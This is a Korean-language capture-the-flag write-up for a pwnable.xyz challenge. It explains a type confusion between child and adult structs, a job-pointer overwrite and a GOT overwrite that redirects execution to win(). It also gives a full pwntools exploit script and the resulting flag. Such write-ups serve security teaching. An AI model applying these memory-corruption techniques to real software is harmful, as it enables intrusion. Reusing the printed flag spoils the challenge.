Children are misbehaving. When are they going to grow up?
Mitigation
Analysis
Struct adult
Struct child
Type confusion in transform_person()
create_child()
에서 age
가 18 이하이면 child가 되는데,
transform_person()
에서는 17보다 크면, 즉 18이면 type
이 2로 바뀌어 adult가 됩니다.
child
와 adult
의 메모리 구조를 비교해 보면 age
와 job
의 위치가 바뀌어 있어, type confusion이 발생합니다.
Exploit
Manipulate job pointer
age
가 18인 child
를 생성하고 adult
로 바꾸면 child
의 job
은 adult
의 age
가 됩니다. 따라서 age_up()
으로 job
을 1씩 증가시킬 수 있습니다.
child
와 adult
를 하나씩 생성하면 메모리 구조는 다음과 같습니다.
그리고 나서 transform_person()
을 호출하면,
type
이 2(adult
)로 바뀌는 것을 확인할 수 있습니다. child
의 job
은 adult
의 age
가 됩니다.
age
(0x18652f0
)를 0x30
만큼 증가시키면 adult
의 name
포인터가 저장된 주소(0x1865320
)를 가리키게 됩니다. 이 상태에서 transform_person()
을 한 번 더 호출하면,
age
에서 19를 뺀 결과가 61보다 크기 때문에 다시 type
이 1(child
)이 됩니다. 이 상태에서 다시 transform_person()
을 호출하면 job
에 입력하는 값은 뒤쪽 adult
의 name
포인터를 덮어쓰게 됩니다.
이때 한 가지 문제가 생길 수 있는데, job
을 입력받을 때 read()
의 두 번째 인자로 원래 child
의 age
였던 0x12
가 전달됩니다. 그러면 read()
는 -1
을 반환하고 이때 입력한 값은 buffer에 남아 있다가 다음에 메뉴를 선택할 때 들어가게 됩니다. 만약 여기에 아무 값이나 입력하게 되면,
strtol()
이 0을 반환하여 그대로 프로그램이 종료되기 때문에, 다음에 실행할 메뉴를 미리 선택해 두어야 합니다.
GOT overwrite
adult
의 name
포인터를 함수의 GOT 주소로 덮고 transform_person()
을 호출하면 adult
의 name
, 즉 GOT에 win()
의 주소를 넣을 수 있습니다.
Full exploit
from pwn import *
REMOTE = True
HOST = 'svc.pwnable.xyz'
PORT = 30038
if not REMOTE:
r = process('./challenge')
else:
r = remote(HOST, PORT)
sa = r.sendafter
sla = r.sendlineafter
def create_adult(age, name, job):
sla(b'> ', b'1')
sla(b'Age: ', str(age).encode())
sa(b'Name: ', name)
sa(b'Job: ', job)
def create_child(age, name, job):
sla(b'> ', b'2')
sla(b'Age: ', str(age).encode())
sa(b'Name: ', name)
sa(b'Job: ', job)
def age_up(idx):
sla(b'> ', b'3')
sla(b'Person: ', str(idx).encode())
def transform_person(idx, name, job):
sla(b'> ', b'5')
sla(b'Person: ', str(idx).encode())
sa(b'Name: ', name)
sa(b'Job: ', job)
def delete_person(idx):
sla(b'> ', b'6')
sla(b'Person: ', str(idx).encode())
printf_got = 0x602060 # GOT of __printf_chk()
win = 0x4009b3 # win()
create_child(18, b'a', b'a') # idx == 0
create_adult(40, b'a', b'a') # idx == 1
transform_person(0, b'a', b'a') # transform child to adult
for i in range(0x30):
age_up(0) # child->job points to adult->name
transform_person(0, b'a', b'5') # transform adult to child again
# overwrite adult->name with GOT of __print_chk()
sla(b'Person: ', b'0')
sa(b'Name: ', b'a')
sa(b'Job: ', p64(printf_got))
# overwrite GOT of __printf_chk() with win()
sla(b'> ', b'5')
sla(b'Person: ', b'1')
sa(b'Name: ', p64(win))
r.interactive()
$ python3 ex.py
[+] Opening connection to svc.pwnable.xyz on port 30038: Done
[*] Switching to interactive mode
FLAG{typ3_confu510n_ch3ck3d}